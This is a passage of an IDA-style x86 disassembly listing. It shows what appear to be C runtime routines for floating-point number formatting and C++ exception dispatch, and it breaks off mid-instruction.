align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4238B0 proc near ; CODE XREF: sub_423B50+3Bp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_42A580 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_8] add edx, [ecx+4] push edx mov eax, [ebp+var_4] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_4] add edx, ecx push edx call sub_42A480 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_423920 add esp, 10h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_4238B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423920 proc near ; CODE XREF: sub_4238B0+5Bp ; sub_423A60+D9p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_8], ecx movsx edx, [ebp+arg_C] test edx, edx jz short loc_423973 mov eax, [ebp+arg_8] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_0] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnz short loc_423973 mov ecx, [ebp+var_4] add ecx, [ebp+var_8] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 30h mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov byte ptr [ecx], 0 loc_423973: ; CODE XREF: sub_423920+18j ; sub_423920+33j mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov eax, [ebp+arg_8] cmp dword ptr [eax], 2Dh jnz short loc_423990 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_423990: ; CODE XREF: sub_423920+5Fj mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jg short loc_4239B8 push 1 mov ecx, [ebp+var_4] push ecx call sub_423BB0 add esp, 8 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_4239C4 ; --------------------------------------------------------------------------- loc_4239B8: ; CODE XREF: sub_423920+77j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+4] mov [ebp+var_4], edx loc_4239C4: ; CODE XREF: sub_423920+96j cmp [ebp+arg_4], 0 jle loc_423A56 push 1 mov eax, [ebp+var_4] push eax call sub_423BB0 add esp, 8 mov ecx, [ebp+var_4] mov dl, byte_443B74 mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_8] cmp dword ptr [ecx+4], 0 jge short loc_423A56 movsx edx, [ebp+arg_C] test edx, edx jz short loc_423A0E mov eax, [ebp+arg_8] mov ecx, [eax+4] neg ecx mov [ebp+arg_4], ecx jmp short loc_423A34 ; --------------------------------------------------------------------------- loc_423A0E: ; CODE XREF: sub_423920+DFj mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax cmp [ebp+arg_4], eax jge short loc_423A23 mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx jmp short loc_423A2E ; --------------------------------------------------------------------------- loc_423A23: ; CODE XREF: sub_423920+F9j mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax mov [ebp+var_10], eax loc_423A2E: ; CODE XREF: sub_423920+101j mov ecx, [ebp+var_10] mov [ebp+arg_4], ecx loc_423A34: ; CODE XREF: sub_423920+ECj mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] push eax call sub_423BB0 add esp, 8 mov ecx, [ebp+arg_4] push ecx push 30h mov edx, [ebp+var_4] push edx call sub_417070 add esp, 0Ch loc_423A56: ; CODE XREF: sub_423920+A8j ; sub_423920+D7j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_423920 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A60 proc near ; CODE XREF: sub_423B50+55p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov [ebp+var_30], 0 lea eax, [ebp+var_14] mov [ebp+var_38], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_42A580 add esp, 10h mov eax, [ebp+var_38] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_34], ecx mov edx, [ebp+var_38] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call sub_42A480 add esp, 0Ch mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 xor ecx, ecx cmp [ebp+var_34], eax setl cl mov [ebp+var_30], cl mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFCh jl short loc_423AEB mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_8] jl short loc_423B07 loc_423AEB: ; CODE XREF: sub_423A60+81j push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_423740 add esp, 14h jmp short loc_423B41 ; --------------------------------------------------------------------------- loc_423B07: ; CODE XREF: sub_423A60+89j movsx eax, [ebp+var_30] test eax, eax jz short loc_423B2B loc_423B0F: ; CODE XREF: sub_423A60+C2j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax test edx, edx jz short loc_423B24 jmp short loc_423B0F ; --------------------------------------------------------------------------- loc_423B24: ; CODE XREF: sub_423A60+C0j mov ecx, [ebp+var_4] mov byte ptr [ecx-2], 0 loc_423B2B: ; CODE XREF: sub_423A60+ADj push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_423920 add esp, 10h loc_423B41: ; CODE XREF: sub_423A60+A5j mov esp, ebp pop ebp retn sub_423A60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B50 proc near ; CODE XREF: sub_41E9B0+6ADp ; DATA XREF: sub_4190F0+3o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_423B5F cmp [ebp+arg_8], 45h jnz short loc_423B79 loc_423B5F: ; CODE XREF: sub_423B50+7j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4236C0 add esp, 10h jmp short loc_423BAD ; --------------------------------------------------------------------------- loc_423B79: ; CODE XREF: sub_423B50+Dj cmp [ebp+arg_8], 66h jnz short loc_423B95 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4238B0 add esp, 0Ch jmp short loc_423BAD ; --------------------------------------------------------------------------- loc_423B95: ; CODE XREF: sub_423B50+2Dj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_423A60 add esp, 10h loc_423BAD: ; CODE XREF: sub_423B50+27j ; sub_423B50+43j pop ebp retn sub_423B50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BB0 proc near ; CODE XREF: sub_423740+2Fp ; sub_423920+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jz short loc_423BDC mov eax, [ebp+arg_0] push eax call sub_414BE0 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] add edx, [ebp+arg_4] push edx call sub_4197C0 add esp, 0Ch loc_423BDC: ; CODE XREF: sub_423BB0+7j pop ebp retn sub_423BB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BE0 proc near ; CODE XREF: sub_4193A0+27p ; sub_419480+2Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_10] cmp dword ptr [eax], 19930520h jnz short loc_423BFA mov [ebp+var_8], 0 jmp short loc_423C02 ; --------------------------------------------------------------------------- loc_423BFA: ; CODE XREF: sub_423BE0+Fj call sub_424940 mov [ebp+var_8], eax loc_423C02: ; CODE XREF: sub_423BE0+18j mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, 66h test edx, edx jz short loc_423C3E mov eax, [ebp+arg_10] cmp dword ptr [eax+4], 0 jz short loc_423C34 cmp [ebp+arg_14], 0 jnz short loc_423C34 push 0FFFFFFFFh mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_424150 add esp, 10h loc_423C34: ; CODE XREF: sub_423BE0+36j ; sub_423BE0+3Cj mov eax, 1 jmp loc_423CCB ; --------------------------------------------------------------------------- loc_423C3E: ; CODE XREF: sub_423BE0+2Dj mov ecx, [ebp+arg_10] cmp dword ptr [ecx+0Ch], 0 jz short loc_423CC6 mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_423C9E mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jbe short loc_423C9E mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+8] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_423C9E mov ecx, [ebp+arg_1C] and ecx, 0FFh push ecx mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call [ebp+var_4] add esp, 20h jmp short loc_423CCB ; --------------------------------------------------------------------------- loc_423C9E: ; CODE XREF: sub_423BE0+70j ; sub_423BE0+7Cj ... mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_14] push ecx mov dl, byte ptr [ebp+arg_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_423CD0 add esp, 20h loc_423CC6: ; CODE XREF: sub_423BE0+65j mov eax, 1 loc_423CCB: ; CODE XREF: sub_423BE0+59j ; sub_423BE0+BCj mov esp, ebp pop ebp retn sub_423BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CD0 proc near ; CODE XREF: sub_423BE0+DEp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 30h mov [ebp+var_8], 0 mov eax, [ebp+arg_4] mov ecx, [eax+8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0FFFFFFFFh jl short loc_423CFD mov edx, [ebp+arg_10] mov eax, [ebp+var_4] cmp eax, [edx+4] jge short loc_423CFD mov [ebp+var_28], 0 jmp short loc_423D05 ; --------------------------------------------------------------------------- loc_423CFD: ; CODE XREF: sub_423CD0+17j ; sub_423CD0+22j call sub_424940 mov [ebp+var_28], eax loc_423D05: ; CODE XREF: sub_423CD0+2Bj mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz loc_423DC5 mov edx, [ebp+arg_0] cmp dword ptr [edx+10h], 3 jnz loc_423DC5 mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jnz loc_423DC5 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+1Ch], 0 jnz loc_423DC5 call sub_41F970 cmp dword ptr [eax+6Ch], 0 jnz short loc_423D4E jmp loc_423F6C ; --------------------------------------------------------------------------- loc_423D4E: ; CODE XREF: sub_423CD0+77j call sub_41F970 mov edx, [eax+6Ch] mov [ebp+arg_0], edx call sub_41F970 mov eax, [eax+70h] mov [ebp+arg_8], eax mov [ebp+var_8], 1 push 1 mov ecx, [ebp+arg_0] push ecx call sub_42A820 add esp, 8 test eax, eax jz short loc_423D83 mov [ebp+var_2C], 0 jmp short loc_423D8B ; --------------------------------------------------------------------------- loc_423D83: ; CODE XREF: sub_423CD0+A8j call sub_424940 mov [ebp+var_2C], eax loc_423D8B: ; CODE XREF: sub_423CD0+B1j mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_423DBE mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_423DBE mov ecx, [ebp+arg_0] cmp dword ptr [ecx+14h], 19930520h jnz short loc_423DBE mov edx, [ebp+arg_0] cmp dword ptr [edx+1Ch], 0 jnz short loc_423DBE call sub_424940 mov [ebp+var_30], eax jmp short loc_423DC5 ; --------------------------------------------------------------------------- loc_423DBE: ; CODE XREF: sub_423CD0+C4j ; sub_423CD0+CDj ... mov [ebp+var_30], 0 loc_423DC5: ; CODE XREF: sub_423CD0+3Ej ; sub_423CD0+4Bj ... mov eax, [ebp+arg_0] cmp dword ptr [eax], 0E06D7363h jnz loc_423F2C mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 3 jnz loc_423F2C mov edx, [ebp+arg_0] cmp dword ptr [edx+14h], 19930520h jnz loc_423F2C lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_14] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_10] push ecx call sub_419620 add esp, 14h mov [ebp+var_10], eax jmp short loc_423E24 ; --------------------------------------------------------------------------- loc_423E12: ; CODE XREF: sub_423CD0:loc_423E45j ; sub_423CD0:loc_423F0Aj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 14h mov [ebp+var_10], eax loc_423E24: ; CODE XREF: sub_423CD0+140j mov ecx, [ebp+var_14] cmp ecx, [ebp+var_C] jnb loc_423F0F mov edx, [ebp+var_10] mov eax, [edx] cmp eax, [ebp+var_4] jg short loc_423E45 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] cmp edx, [ecx+4] jle short loc_423E47 loc_423E45: ; CODE XREF: sub_423CD0+168j jmp short loc_423E12 ; --------------------------------------------------------------------------- loc_423E47: ; CODE XREF: sub_423CD0+173j mov eax, [ebp+var_10] mov ecx, [eax+10h] mov [ebp+var_1C], ecx mov edx, [ebp+var_10] mov eax, [edx+0Ch] mov [ebp+var_24], eax jmp short loc_423E6D ; --------------------------------------------------------------------------- loc_423E5B: ; CODE XREF: sub_423CD0:loc_423F05j mov ecx, [ebp+var_24] sub ecx, 1 mov [ebp+var_24], ecx mov edx, [ebp+var_1C] add edx, 10h mov [ebp+var_1C], edx loc_423E6D: ; CODE XREF: sub_423CD0+189j cmp [ebp+var_24], 0 jle loc_423F0A mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] add edx, 4 mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] mov eax, [edx] mov [ebp+var_20], eax jmp short loc_423EA8 ; --------------------------------------------------------------------------- loc_423E96: ; CODE XREF: sub_423CD0+1FBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_18] add edx, 4 mov [ebp+var_18], edx loc_423EA8: ; CODE XREF: sub_423CD0+1C4j cmp [ebp+var_20], 0 jle short loc_423F05 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+var_18] mov eax, [edx] push eax mov ecx, [ebp+var_1C] push ecx call sub_424090 add esp, 0Ch test eax, eax jnz short loc_423ECD jmp short loc_423E96 ; --------------------------------------------------------------------------- loc_423ECD: ; CODE XREF: sub_423CD0+1F9j mov dl, [ebp+var_8] push edx mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_18] mov ecx, [eax] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_424280 ; --------------------------------------------------------------------------- add esp, 2Ch jmp short loc_423F6A ; --------------------------------------------------------------------------- loc_423F05: ; CODE XREF: sub_423CD0+1DCj jmp loc_423E5B ; --------------------------------------------------------------------------- loc_423F0A: ; CODE XREF: sub_423CD0+1A1j ; sub_423CD0:loc_423F6Aj jmp loc_423E12 ; --------------------------------------------------------------------------- loc_423F0F: ; CODE XREF: sub_423CD0+15Aj mov edx, [ebp+arg_14] and edx, 0FFh test edx, edx jz short loc_423F2A push 1 mov eax, [ebp+arg_0] push eax call sub_424760 add esp, 8 loc_423F2A: ; CODE XREF: sub_423CD0+24Aj jmp short loc_423F68 ; --------------------------------------------------------------------------- loc_423F2C: ; CODE XREF: sub_423CD0+FEj ; sub_423CD0+10Bj ... mov ecx, [ebp+arg_14] and ecx, 0FFh test ecx, ecx jnz short loc_423F63 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_423F70 add esp, 20h jmp short loc_423F68 ; --------------------------------------------------------------------------- loc_423F63: ; CODE XREF: sub_423CD0+267j call sub_424890 loc_423F68: ; CODE XREF: sub_423CD0:loc_423F2Aj ; sub_423CD0+291j jmp short loc_423F6C ; --------------------------------------------------------------------------- loc_423F6A: ; CODE XREF: sub_423CD0+233j jmp short loc_423F0A ; --------------------------------------------------------------------------- loc_423F6C: ; CODE XREF: sub_423CD0+79j ; sub_423CD0:loc_423F68j mov esp, ebp pop ebp retn sub_423CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423F70 proc near ; CODE XREF: sub_423CD0+289p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0Ch call sub_41F970 cmp dword ptr [eax+68h], 0 jz short loc_423FAE mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4194C0 add esp, 1Ch test eax, eax jz short loc_423FAE jmp loc_424081 ; --------------------------------------------------------------------------- loc_423FAE: ; CODE XREF: sub_423F70+Fj ; sub_423F70+37j lea ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx call sub_419620 add esp, 14h mov [ebp+var_8], eax jmp short loc_423FE1 ; --------------------------------------------------------------------------- loc_423FCF: ; CODE XREF: sub_423F70:loc_424039j ; sub_423F70+10Cj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_8] add ecx, 14h mov [ebp+var_8], ecx loc_423FE1: ; CODE XREF: sub_423F70+5Dj mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jnb loc_424081 mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] cmp ecx, [eax] jl short loc_424039 mov edx, [ebp+var_8] mov eax, [ebp+arg_14] cmp eax, [edx+4] jg short loc_424039 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] sub edx, 1 shl edx, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] cmp dword ptr [ecx+edx+4], 0 jz short loc_42403B mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] mov eax, [edx+eax+4] movsx ecx, byte ptr [eax+8] test ecx, ecx jz short loc_42403B loc_424039: ; CODE XREF: sub_423F70+85j ; sub_423F70+90j jmp short loc_423FCF ; --------------------------------------------------------------------------- loc_42403B: ; CODE XREF: sub_423F70+A9j ; sub_423F70+C7j push 1 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_8] push ecx push 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] add edx, eax push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_424280 ; --------------------------------------------------------------------------- add esp, 2Ch jmp loc_423FCF ; --------------------------------------------------------------------------- loc_424081: ; CODE XREF: sub_423F70+39j ; sub_423F70+77j mov esp, ebp pop ebp retn sub_423F70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424090 proc near ; CODE XREF: sub_423CD0+1EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jz short loc_4240AB mov ecx, [ebp+arg_0] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jnz short loc_4240B5 loc_4240AB: ; CODE XREF: sub_424090+Bj mov eax, 1 jmp loc_424142 ; --------------------------------------------------------------------------- loc_4240B5: ; CODE XREF: sub_424090+19j mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ecx+4] cmp eax, [edx+4] jz short loc_4240E7 mov ecx, [ebp+arg_4] mov edx, [ecx+4] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] add ecx, 8 push ecx call sub_417870 add esp, 8 test eax, eax jz short loc_4240E7 xor eax, eax jmp short loc_424142 ; --------------------------------------------------------------------------- loc_4240E7: ; CODE XREF: sub_424090+31j ; sub_424090+51j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 2 test eax, eax jz short loc_4240FF mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 8 test edx, edx jz short loc_424138 loc_4240FF: ; CODE XREF: sub_424090+61j mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_424117 mov edx, [ebp+arg_0] mov eax, [edx] and eax, 1 test eax, eax jz short loc_424138 loc_424117: ; CODE XREF: sub_424090+79j mov ecx, [ebp+arg_8] mov edx, [ecx] and edx, 2 test edx, edx jz short loc_42412F mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 2 test ecx, ecx jz short loc_424138 loc_42412F: ; CODE XREF: sub_424090+91j mov [ebp+var_4], 1 jmp short loc_42413F ; --------------------------------------------------------------------------- loc_424138: ; CODE XREF: sub_424090+6Dj ; sub_424090+85j ... mov [ebp+var_4], 0 loc_42413F: ; CODE XREF: sub_424090+A6j mov eax, [ebp+var_4] loc_424142: ; CODE XREF: sub_424090+20j ; sub_424090+55j mov esp, ebp pop ebp retn sub_424090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424150 proc near ; CODE XREF: ___:004193FAp ; sub_423BE0+4Cp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434178 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFECh push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] mov ecx, [eax+8] mov [ebp+var_1C], ecx loc_42417F: ; CODE XREF: sub_424150+BFj mov edx, [ebp+var_1C] cmp edx, [ebp+arg_C] jz loc_424214 cmp [ebp+var_1C], 0FFFFFFFFh jle short loc_4241A5 mov eax, [ebp+arg_8] mov ecx, [ebp+var_1C] cmp ecx, [eax+4] jge short loc_4241A5 mov [ebp+var_20], 0 jmp short loc_4241AD ; --------------------------------------------------------------------------- loc_4241A5: ; CODE XREF: sub_424150+3Fj ; sub_424150+4Aj call sub_424940 mov [ebp+var_20], eax loc_4241AD: ; CODE XREF: sub_424150+53j mov [ebp+var_4], 0 mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] cmp dword ptr [eax+ecx*8+4], 0 jz short loc_4241E0 push 103h mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] mov ecx, [eax+8] mov edx, [ebp+var_1C] mov eax, [ecx+edx*8+4] push eax call sub_424840 loc_4241E0: ; CODE XREF: sub_424150+72j mov [ebp+var_4], 0FFFFFFFFh jmp short loc_424200 ; --------------------------------------------------------------------------- mov ecx, [ebp+var_14] push ecx call sub_424250 add esp, 4 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_424200: ; CODE XREF: sub_424150+97j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] mov edx, [eax+ecx*8] mov [ebp+var_1C], edx jmp loc_42417F ; --------------------------------------------------------------------------- loc_424214: ; CODE XREF: sub_424150+35j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_C] jnz short loc_424225 mov [ebp+var_24], 0 jmp short loc_42422D ; --------------------------------------------------------------------------- loc_424225: ; CODE XREF: sub_424150+CAj call sub_424940 mov [ebp+var_24], eax loc_42422D: ; CODE XREF: sub_424150+D3j mov ecx, [ebp+arg_0] mov edx, [ebp+var_1C] mov [ecx+8], edx mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424250 proc near ; CODE XREF: sub_424150+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+var_8], eax cmp [ebp+var_8], 0E06D7363h jz short loc_424271 jmp short loc_424276 ; --------------------------------------------------------------------------- loc_424271: ; CODE XREF: sub_424250+1Dj call sub_424890 loc_424276: ; CODE XREF: sub_424250+1Fj xor eax, eax mov esp, ebp pop ebp retn sub_424250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_424280 proc near ; CODE XREF: sub_423CD0+22Bp ; sub_423F70+104p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch ; FUNCTION CHUNK AT 004242CC SIZE 0000006B BYTES push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_18], 0 jz short loc_4242AA mov ecx, 